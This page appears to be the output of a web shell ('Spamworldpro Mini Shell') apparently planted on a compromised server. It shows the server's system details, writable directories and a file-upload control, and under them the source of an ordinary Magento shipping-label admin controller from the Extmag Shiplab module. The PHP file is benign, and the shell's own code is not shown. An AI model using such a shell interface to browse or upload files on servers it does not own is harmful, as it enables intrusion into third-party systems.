Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/extmag/shiplab/Controller/Adminhtml/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/extmag/shiplab/Controller/Adminhtml/ManualLabel.php
<?php
/**
 * Copyright © Extmag. All rights reserved.
 */

namespace Extmag\Shiplab\Controller\Adminhtml;

use Extmag\Shiplab\Helper\DataPrepare;
use Extmag\Shiplab\Helper\DataPrepareFactory;
use Extmag\Shiplab\Helper\LabelFactory;
use Extmag\Shiplab\Helper\RequestFactory;
use Extmag\Shiplab\Model\Source\CarrierCodes;
use Magento\Backend\App\Action;
use Magento\Backend\App\Action\Context;
use Magento\Backend\Model\View\Result\ForwardFactory;
use Magento\Framework\App\CacheInterface as Cache;
use Magento\Framework\View\Result\Page;
use Magento\Framework\View\Result\PageFactory;

abstract class ManualLabel extends Action
{
    protected $carrier = '';
    protected $carrierOptions = [];
    /**
     * @var ForwardFactory
     */
    protected $resultForwardFactory;

    /**
     * @var PageFactory
     */
    protected $resultPageFactory;


    /**
     * @var DataPrepare
     */
    protected $dataPrepare;

    /**
     * @var DataPrepareFactory
     */
    protected $dataPrepareFactory;

    /**
     * @var Cache
     */
    protected $cache;

    /**
     * Extmag Ship
     *
     * @var RequestFactory
     */
    protected $ship;

    /**
     * @var \Extmag\Shiplab\Helper\Label
     */
    protected $helperLabel;
    /**
     * @var RequestFactory
     */
    protected $requestDataFactory;
    /**
     * @var CarrierCodes
     */
    private $carrierCodes;

    /**
     * @param Context $context
     * @param ForwardFactory $resultForwardFactory
     * @param PageFactory $resultPageFactory
     * @param DataPrepareFactory $dataPrepare
     * @param Cache $cache
     * @param RequestFactory $requestDataFactory
     * @param LabelFactory $helperLabel
     * @param CarrierCodes $carrierCodes
     */
    public function __construct(
        Context $context,
        ForwardFactory $resultForwardFactory,
        PageFactory $resultPageFactory,
        DataPrepareFactory $dataPrepare,
        Cache $cache,
        RequestFactory $requestDataFactory,
        LabelFactory $helperLabel,
        CarrierCodes $carrierCodes
    ) {
        parent::__construct($context);
        $this->resultForwardFactory = $resultForwardFactory;
        $this->resultPageFactory = $resultPageFactory;
        $this->cache = $cache;
        $this->helperLabel = $helperLabel;
        $this->dataPrepareFactory = $dataPrepare;
        $this->requestDataFactory = $requestDataFactory;
        $this->carrierCodes = $carrierCodes;
    }

    /**
     * @throws \Exception
     */
    protected function myInit()
    {
        $this->carrier = $this->_request->getParam('carrier_code', $this->_request->getParam('carrier'));
        $carrierOptions = [];
        foreach ($this->carrierCodes->getCarriers() as $key => $item) {
            $carrierOptions[$key] = ['fullName' => $item['long_name'],'name' => $item['name'],];
        }
        $this->carrierOptions = $carrierOptions[$this->carrier];
        $this->dataPrepare = $this->dataPrepareFactory->get($this->carrier);
        $this->ship = $this->requestDataFactory->create($this->carrier, 'ship');
    }

    protected function initPage($resultPage)
    {
        /**
         * @var Page $resultPage
         */
        if (strpos($resultPage->getDefaultLayoutHandle(), 'manuallabel_error') === false) {
            $resultPage->getLayout()->getUpdate()
                ->removeHandle($resultPage->getDefaultLayoutHandle())
                ->addHandle(
                    str_replace('manuallabel', $this->carrier . 'label', $resultPage->getDefaultLayoutHandle())
                );
        }
        $resultPage->setActiveMenu('Extmag_Shiplab::shiplab_' . $this->carrier . '_labels')
            ->addBreadcrumb(__('Extmag'), __('Extmag'))
            ->addBreadcrumb(
                __($this->carrierOptions['name'] . ' ' . $this->getRouteName() . ' Labels'),
                __($this->carrierOptions['name'] . ' ' . $this->getRouteName() . ' Labels')
            );
        return $resultPage;
    }

    protected function getRouteName()
    {
        return ['shipment' => 'Shipping', 'refund' => 'Refund', 'inverse' => 'Inverse']
            [$this->getRequest()->getParam('route', 'shipment')] ?? '';
    }

    public function processingSession()
    {
        $params = $this->getRequest()->getPost()->toArray();
        unset($params['rate_error']);
        $this->dataPrepare->createSessionVar(
            $params['order_id'],
            $params['order_sub_id'],
            $params,
            $this->carrier . 'Label'
        );
    }
}

Spamworldpro Mini